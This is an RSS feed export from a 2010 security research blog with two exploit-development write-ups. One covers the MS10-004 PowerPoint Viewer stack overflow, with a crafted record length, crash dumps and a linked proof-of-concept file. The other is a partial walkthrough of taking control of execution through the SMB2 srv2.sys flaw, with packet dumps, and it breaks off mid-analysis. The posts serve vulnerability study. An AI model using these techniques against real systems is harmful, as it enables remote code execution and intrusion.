<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Snoop Security Researching Community &#187; Coding</title>
	<atom:link href="http://www.snoop-security.com/blog/index.php/category/coding/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.snoop-security.com/blog</link>
	<description></description>
	<lastBuildDate>Thu, 04 Mar 2010 08:06:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Exploiting MS10-004 PPT Viewer</title>
		<link>http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/</link>
		<comments>http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 12:45:55 +0000</pubDate>
		<dc:creator>Snake</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[analyse]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Expoit Development]]></category>
		<category><![CDATA[MS10-004]]></category>
		<category><![CDATA[POC]]></category>
		<category><![CDATA[PowerPoint]]></category>
		<category><![CDATA[PowerPoint Viewer]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.snoop-security.com/blog/?p=111</guid>
		<description><![CDATA[Hi this is Snake,
we are still alive  and I&#8217;m here to demonstrating a really cheap bug which occurred in MS PPT Viewer  ( actually  just for fun and showing we are alive   ). according to MS advisory vulnerability occurs in MS PPT Viewer by specially crafted PPT file. MS also tell us vuln [...]]]></description>
			<content:encoded><![CDATA[<p>Hi this is Snake,</p>
<p>we are still alive  and I&#8217;m here to demonstrating a really cheap bug which occurred in MS PPT Viewer  ( actually  just for fun and showing we are alive <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  ). according to MS advisory vulnerability occurs in MS PPT Viewer by specially crafted PPT file. MS also tell us vuln is &#8220;TextBytesAtom Record&#8221; and it is &#8220;Stack Overflow&#8221;. lets take a quick look at MS Office binaries documents <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2><strong><em>TextBytesAtom Record</em></strong></h2>
<p>according to MS office documentations , TexBytesAtom is a record for storing The actual characters of the text, not including the trailing return character and it stored as bytes . there is not any additional fields in this record , so how we can overflow the buffer ? just by creating a large record ? after diging the net for more information , i got some info from ZDI : &#8220;Due to the lack of bounds checking on the size argument an unchecked memcpy() copies user data from the file to the stack.&#8221; but there isn&#8217;t any size filed !  maybe thats in hole record structure !? lets look at &#8220;Record Structure&#8221; in PPT files :</p>
<pre class="brush: cpp;">

struct RecordHeader {
psrVersion recVer : 4 // unsinged short int
psrInstance recInstance : 12;  // unsinged short int
psrType recType; // unsinged short int
psrSize recLen; // unsinged long int
};
</pre>
<p>I put some comments on it for making type definitions more familiar and easier to read <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   . There is only to interesting fields for us in record structure. first , recType which demonstrate the record type and the second, recLen which demonstrate record length. according to MS docs this atom is of variable length and depends on the length of the text. recLen filed will automatically filled by PowerPoint during slide creation time . but we can change it&#8217;s value  manually at haxoring time <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  . I just created a ppt file and filled title with a bunch of A&#8217;s.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://sn4k3.persiangig.com/~sn00p/pics/PPT01.PNG" alt="" width="644" height="378" /></p>
<p>now let take a dipper look :</p>
<p style="text-align: center;"><img class="aligncenter" src="http://sn4k3.persiangig.com/~sn00p/pics/PPT02.png" alt="" width="508" height="495" /></p>
<p>in office docs , TexBytesAtom represented by 4008 in decimal . you most looking for hex value in the file which is &#8220;A80F&#8221; . 4008 or A80F is value for recType in record structure. you can see the recSize filed value right after A80F . you remember ? ZDI mentioned something about memcpy function . this function get unsigned int  for its size argument. so what happent if we change recSize value to -1 ? in hex -1 represent like 0xFFFFFFFF and in unsigned  int world its equal to 4294967295 , the biggest value which can store in 4 byte ! lets try <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><img class="aligncenter" src="http://sn4k3.persiangig.com/~sn00p/pics/ppt03.png" alt="" width="468" height="382" /></p>
<p>good ! an AV occurred . now just a little debugging <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<pre class="brush: cpp;">

(e14.e18): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=029a29d0 ebx=00000975 ecx=00000445 edx=00000003 esi=029a18b9 edi=00130000
eip=75e99b60 esp=0012ec44 ebp=0012ec4c iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\msvcrt.dll -
msvcrt!memcpy+0x250:
75e99b60 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000&gt; dd esi
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\ole32.dll -
029a18b9  41414141 41414141 410d4141 41414141
029a18c9  41414141 41414141 41414141 41414141
029a18d9  41414141 41414141 41414141 41414141
029a18e9  41414141 41414141 41414141 41414141
029a18f9  41414141 41414141 41414141 41414141
029a1909  4141410d 41414141 41414141 41414141
029a1919  41414141 41414141 41414141 41414141
029a1929  41414141 41414141 41414141 41414141
0:000&gt; dd edi
00130000  78746341 00000020 00000001 00002fb0
00130010  000000dc 00000000 00000020 00000000
00130020  00000014 00000001 00000007 00000034
00130030  0000017c 00000001 00000000 00000000
00130040  00000000 00000000 00000000 00000002
00130050  1a26ef4e 00000298 00000044 000002e0
00130060  00000250 00000000 f33271ba 00000530
00130070  0000004a 0000057c 0000031e 00000000
0:000&gt; kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ec4c 75ba4ab0 0012f0bc 029a0975 0000205b msvcrt!memcpy+0x250
0012ec8c 75ba3757 00000975 0012f0bc 0000205b ole32!StgOpenStorage+0x9ed
0012ecb4 75c1b0a8 04563fb8 00000975 00000000 ole32!StringFromIID+0x3ec
0012eea0 75c1b0ea 00000375 00000001 0012f0bc ole32!WriteClassStm+0x1c11
0012eebc 75c1b142 00000375 00000000 0012f0bc ole32!WriteClassStm+0x1c53
0012eed8 75c1b1d4 00000375 00000000 0012f0bc ole32!WriteClassStm+0x1cab
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\PowerPoint Viewer\PPTVIEW.EXE -
0012ef1c 300eea00 00000000 0012f0bc ffffffff ole32!WriteClassStm+0x1d3d
0012ef34 300f1212 045607b0 00000000 0012f0bc PPTVIEW+0xeea00
0012ef58 300f9aac 0012f0bc ffffffff 02c19a58 PPTVIEW+0xf1212
0012f14c 41414141 41414141 41414141 41414141 PPTVIEW+0xf9aac
0012f150 41414141 41414141 41414141 41414141 0x41414141
0012f154 41414141 41414141 41414141 41414141 0x41414141
0012f158 41414141 41414141 41414141 41414141 0x41414141
0012f15c 41414141 41414141 41414141 41414141 0x41414141
0012f160 41414141 41414141 41414141 41414141 0x41414141
0012f164 41414141 41414141 41414141 41414141 0x41414141
0012f168 41414141 41414141 41414141 41414141 0x41414141
0012f16c 41414141 41414141 41414141 41414141 0x41414141
0012f170 41414141 41414141 41414141 41414141 0x41414141
0012f174 41414141 41414141 41414141 41414141 0x41414141
</pre>
<p>have fun <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Poc File :</p>
<p><a href="http://sn4k3.persiangig.com/~sn00p/Presentation_MS10_004.ppt">presentation_MS10_004</a></p>
<p>references :</p>
<ul>
<li><a href="http://www.microsoft.com/technet/security/Bulletin/MS10-004.mspx">MS MS10-004 Advisory</a></li>
<li><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-017/">ZDI Advisory</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>SMB2 Exploitation Guide for Housekeepers &amp; Dummies !</title>
		<link>http://www.snoop-security.com/blog/index.php/2009/10/smb2-exploitation-guide-for-housekeepers-dummies/</link>
		<comments>http://www.snoop-security.com/blog/index.php/2009/10/smb2-exploitation-guide-for-housekeepers-dummies/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 22:55:01 +0000</pubDate>
		<dc:creator>Snake</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[analyse]]></category>
		<category><![CDATA[CVE-2009-2532]]></category>
		<category><![CDATA[driver exploitation]]></category>
		<category><![CDATA[drivers]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[MS09-50]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[SMB]]></category>
		<category><![CDATA[SMB2]]></category>
		<category><![CDATA[smb2 exploit]]></category>
		<category><![CDATA[srv2.sys]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[windows kernel]]></category>

		<guid isPermaLink="false">http://www.snoop-security.com/blog/?p=72</guid>
		<description><![CDATA[Hi buddies  This is Snake again. SMB2 flaw was a big mistake for Microsoft  ( just take look at Laurent Gaffié fuzzer ! )  and in this post i will discuss how exploit this vulnerability.my informations and exploitation guide is base on Stephen Fewer  first exploit ( i will discuss second exploit known as [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ffffff;">Hi buddies  This is Snake again. SMB2 flaw was a big mistake for Microsoft  ( just take look at Laurent Gaffié fuzzer ! )  and in this post i will discuss how exploit this vulnerability.my informations and exploitation guide is base on Stephen Fewer  first exploit ( i will discuss second exploit known as &#8220;351 Packets from the Trampoline&#8221; in another post ) . before we start , it is better to know some basic information about smb protocol  . </span></p>
<h2><strong><em><span style="color: #ffffff;">What is SMB ? </span></em></strong></h2>
<p><span style="color: #ffffff;"> </span><strong><em><span style="color: #ffffff;"> </span></em></strong><span style="color: #ffffff;">from Wikipedia :  &#8221;In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used to provide shared access to files, printers, serial ports, and miscellaneous communications between nodes on a network. It also provides an authenticated Inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it is often known as &#8216;Microsoft Windows Network&#8217; &#8221; and smb2 , &#8220;Microsoft introduced a new version of the Server Message Block (SMB) protocol (SMB 2.0 or SMB2) with Windows Vista in 2006. SMB2 reduces the &#8216;chattiness&#8217; of the protocol by reducing the number of commands and subcommands from over a hundred to just nineteen. It has mechanisms for pipelining, that is, sending additional requests before the response to a previous request arrives.&#8221;  in Windows Vista/2008/7 , </span><em><span style="color: #ff0000;"><strong><span style="color: #ffffff;">srv2.sys</span></strong></span></em><span style="color: #ffffff;"> driver handle smb2 messages . there is vulnerability in that driver when it want to call a function from a function table.  lets dig into srv2.sys and finding vulnerability &#8230; </span></p>
<h2><strong><em><span style="color: #ffffff;">Start Point : The Vulnerability</span></em></strong></h2>
<p><span style="color: #ffffff;"> </span><strong><em><span style="color: #ffffff;"> </span></em></strong><span style="color: #ffffff;">lets start with vulnerability itself , as i said vulnerability occurred in when srv2.sys deriver want handle a specially corrupted  message . vulnerable codes are in </span><em><strong><span style="color: #ffffff;">Smb2ValidateProviderCallback()</span></strong></em><span style="color: #ffffff;"> function . in Smb2ValidateProviderCallback(x)+4DE we have : </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Vulnerable Function" src="http://img.majidonline.com/pic/237436/1.png" alt="fig.1" width="757" height="151" /></p>
<p><span style="color: #ffffff;"> we can write it down in simple pseudo code like this : </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ffffff;">[...]
 CallBackFunction = _ValidateRoutines[ NegotiatePacket-&gt;PidHight * 4 ];
 if ( CallBackFunction == NULL ){
 // some codes for recovering saved Security_Cookie
 // they add automatically by compiler in function epilogue
 // mov     ecx, [ebp+var_4] -&gt; this is Cookie
 // pop     edi
 // pop     esi
 // xor     ecx, ebp -&gt; recovering Cookie
 // pop     ebx
 // call __security_check_cookie(Saved_Security_Cookie) -&gt; eating cookie <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
 return ( 0xC0000002 );
 } else {
 return ( (*CallBackFunction)(Argument) );
 }
[...]</span></pre>
</blockquote>
<p><span style="color: #ffffff;"> you find the vuln ? as you can see there is parameter  &#8221;NegotiatePacket-&gt;PidHight&#8221;. this is a part of </span><strong><em><span style="color: #ffffff;">NEGOTIATE PROTOCOL REQUEST PACKET</span></em></strong><span style="color: #ffffff;"> . we can control this field in our packet ,  so we can control &#8220;CallBackFunction&#8221; , and if we control &#8220;CallBackFunction&#8221; we control EIP ! </span></p>
<h2><strong><em><span style="color: #ffffff;">Packet, Header and PID</span></em></strong></h2>
<p><span style="color: #ffffff;"> before triggering the vulnerability  we need Packet bullet  .  SMB Packets are composed of three parts : </span></p>
<ul><span style="color: #ffffff;"> </span></p>
<li><span style="color: #ffffff;">Header</span></li>
<p><span style="color: #ffffff;"> </span></p>
<li><span style="color: #ffffff;">Parameter Block</span></li>
<p><span style="color: #ffffff;"> </span></p>
<li><span style="color: #ffffff;">Data Block</span></li>
<p><span style="color: #ffffff;"> </span></ul>
<p><span style="color: #ffffff;"> in above figure you can see SMB packet layout : </span></p>
<p style="text-align: center;"><img class="aligncenter" title="SMB Packet Layout" src="http://img.majidonline.com/pic/237437/2.png" alt="Smb Packet" width="500" height="212" /></p>
<p><span style="color: #ffffff;"> in syntax presentation Header is look like : </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ffffff;">SMB_HEADER
  {
  PROTOCOL  = "\xffSMB"
  COMMAND   = &lt;SMB Command code&gt;
  STATUS    = &lt;Status code&gt;
  FLAGS     = &lt;Old flags&gt;
  FLAGS2    = &lt;New flags&gt;
  EXTRA     = &lt;Sometimes used for additional data&gt;
  TID       = &lt;Tree ID&gt;
  PID       = &lt;Process ID&gt;
  UID       = &lt;User ID&gt;
  MID       = &lt;Multiplex ID&gt;
[...]
}</span></pre>
</blockquote>
<p><span style="color: #ffffff;"> The first four bytes are the protocol identifier string , which always are &#8220;\xffSMB&#8221;  ( \xfe in smb2 ). next filed is COMMAND filed. COMMAND filed is very key factor in smb messages and also in exploitation ( correct command lead us to vulnerable codes ) .as i mentioned before , for diving into vulnerable code wen need to send an </span><strong><em><span style="color: #ffffff;">NEGOTIATE PROTOCOL REQUEST PACKET </span></em></strong><span style="color: #ff0000;"><span style="color: #ffffff;">. lets take look at NPR Packet :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ffffff;">NEGOTIATE_PROTOCOL_REQUEST
  {
  SMB_HEADER
    {
    PROTOCOL  = "\xffSMB"
    COMMAND   = SMB_COM_NEGOTIATE (0x72)
    STATUS
      {
      ErrorClass
      ErrorCode
      }
    FLAGS
    FLAGS2
    EXTRA
      {
      PidHigh
      Signature
      }
    TID
    PID
    UID
    MID
    }
</span><span style="color: #ff0000;"><span style="color: #ffffff;"> [...]
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">in normal manner PidHight call one of Fucntions which strored in _ValidateRoutines Function Pointer Table :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="ValidateRoutines Function Pointer Table" src="http://img.majidonline.com/pic/237439/3.png" alt="ValidateRoutines Function Pointer Table" width="863" height="258" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">but we want to control execution fl0w , so by sending a specially crafted NRP Packet , we lead execution flow to desire place.but there is limitation . because we PidHight is a word type  , this means just 2 byte length.biggest number in word types is 0xFFFF , and so we can change EIP to </span><span style="color: #ff0000;"><span style="color: #ffffff;">[ _ValidateRoutines </span></span><span style="color: #ffffff;">Address +  ( 0xFF * 4)  ] . there is many locations which we can land in , but where is a reliable place ? at all we need to jump to our packet to execute desire codes . lets start debugging :</span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; u 917ac745
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!Smb2ValidateProviderCallback+0x4e8:
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac749 8b048570227c91  mov     eax,dword ptr srv2!ValidateRoutines (917c2270)[eax*4]
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac750 85c0            test    eax,eax
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac752 7507            jne     srv2!Smb2ValidateProviderCallback+0x4fe (917ac75b)
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac754 b8020000c0      mov     eax,0C0000002h
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac759 eb03            jmp     srv2!Smb2ValidateProviderCallback+0x501 (917ac75e)
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac75b 53              push    ebx
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac75c ffd0            call    eax
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; bl
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;"> 0 e 917ac745     0001 (0001) srv2!Smb2ValidateProviderCallback+0x4e8
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;"> 1 eu             0001 (0001) (l)
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;"> 2 e 917b7ea0     0001 (0001) srv2!SrvSnapShotScavengerTimer
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; g
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">Breakpoint 0 hit
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!Smb2ValidateProviderCallback+0x4e8:
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">i put a break point in vulnerable function  ( in srv2!Smb2ValidateProviderCallback+0&#215;4e8 )  , then i run  Stephan&#8217;s Exploit .as you can see , ESI+0c point to PidHight , and ESI itself poit to our packet :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;"> kd&gt; d esi
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317600  ff 53 4d 42 72 00 00 00-00 18 53 c8 17 02 00 e9  .SMBr.....S.....
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317610  58 01 00 00 00 00 00 00-00 00 00 00 00 00 c5 bb  X...............
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317620  00 20 02 02 04 0d df ff-04 0d df ff 04 0d df ff  . ..............
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317630  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317640  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317650  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317660  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317670  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> Stephen use  0&#215;0217 as index for </span><span style="color: #ff0000;"><span style="color: #ffffff;">ValidateRoutines</span></span><span style="color: #ffffff;"> function table . but why ? i mentioned before , after all we need to jump to our packet for getting code execute and you know we just can control stack by jumping to pop/push instructions. now esp point to 091996d04 , this very far from our packet address ( </span><span style="color: #ff0000;"><span style="color: #ffffff;">0&#215;85317600</span></span><span style="color: #ffffff;"> )  so poping items from stack is not good idea !  but how ESI got a pointer to our packet ? maybe it loaded from stack to ESI ?! lets search stack for Packet Pointers :</span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; s -d 0x91996d04 L?0x91996d04+50 0x85317600
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d1c  85317600 8518b1a8 84eb7568 8713b808  .v1.....hu......</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span></p>
<p style="text-align: left;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> yow ,  i found one ! it located at 0x</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d1c</span></span><span style="color: #ffffff;"> . but wat we can do with this pointer ? jumping to 6 pop and then ret ? or add esp,18/ret ? can we find those instructions ? i think the answer is no ! but what we can do ? Stephen use 0&#215;0217 as index,  now EAX point to </span><strong><em><span style="color: #ffffff;">SrvSnapShotScavengerTime</span></em></strong><span style="color: #ffffff;">r function. let see what have there : </span></span></span><span style="color: #ffffff;"> </span><img class="aligncenter" title="SrvSnapShotScavengerTimer function" src="http://img.majidonline.com/pic/237441/4.png" alt="SrvSnapShotScavengerTimer Function" width="637" height="188" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">little function . what is so important in this function ? if you look carefully you see RET 0&#215;10 instruction at the end of function!   SrvSnapShotScavengerTimer function called with Stdcall calling convention , this means stack clean up is on Callee not Caller . now we have 4 argument ( 16 byte ) and so RET 10h clean argument up from stack. but why we do this ? lets take look at end of Smb2ValidateProviderCallback :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">pop     edi
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">pop     esi
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">xor     ecx, ebp
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">pop     ebx
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">call    @__security_check_cookie@4 ; __security_check_cookie(x)
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">leave
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">retn    4

</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">if you remember , our packet pointer was in esp+18 , so by ret 10h  our pointer move ( not really MOVE !!! ) to esp+4 ! look :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; dd esp
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d18  84eb746c 85317600 8518b1a8 84eb7568
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d28  8713b808 84eb7408 917c4fc4 00000000
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d38  00e5448c 91996d50 917c4a77 8518b008
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d48  86e9aee0 8518b008 91996d7c 917c319f
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d58  8518b008 00000000 8713b808 00000000
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d68  00000000 00000000 91996d80 00000001
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d78  00000001 91996dc0 819eda1c 00000000
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d88  7426f33a 00000000 00000000 00000000</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> so after we return from </span><span style="color: #ff0000;"><span style="color: #ffffff;">SrvSnapShotScavengerTimer</span></span><span style="color: #ffffff;"> and at the end of </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">Smb2ValidateProviderCallback , EDI receive 0</span><span style="color: #ff0000;"><span style="color: #ffffff;">84eb746c</span></span><span style="color: #ffffff;"> and after that , by pop esi , ESI will grab 0x</span></span></span></span></span><span style="color: #ff0000;"><span style="color: #ffffff;">85317600 ! but why we do this ? becuse we need esi as pointer to our controllable area </span></span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">. you will find out it further . now lets take lock at call stack , where we return after </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">Smb2ValidateProviderCallback is </span></span></span></span></span></span><span style="color: #ff0000;"><strong><em><span style="color: #ffffff;"> srv2!SrvProcessPacket+0&#215;4b</span></em></strong></span><span style="color: #ff0000;"><span style="color: #ffffff;"> :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="srv2!SrvProcessPacket+0x4b" src="http://img.majidonline.com/pic/237442/6.png" alt="srv2!SrvProcessPacket+0x4b" width="685" height="445" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">EAX is zero  :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; r
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">eax=00000000 ebx=8515c778 ecx=91b8b96a edx=00000000 esi=85211bf8 edi=85217444
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">eip=91b8da77 esp=88561d48 ebp=88561d50 iopl=0         nv up ei pl zr na pe nc
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> so we jump to loc_91E78A99 , result of comparing EAX  with 0&#215;103 is jump to srv2!SrvProcessPacket+74 . in this basic block EAX compared with EDI and because EDI has non-zero value , we jump to  loc_91E78AA9 .after a few instructions , we land here :</span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Fig.7" src="http://img.majidonline.com/pic/237443/7.png" alt="fig.7" width="542" height="103" /></p>
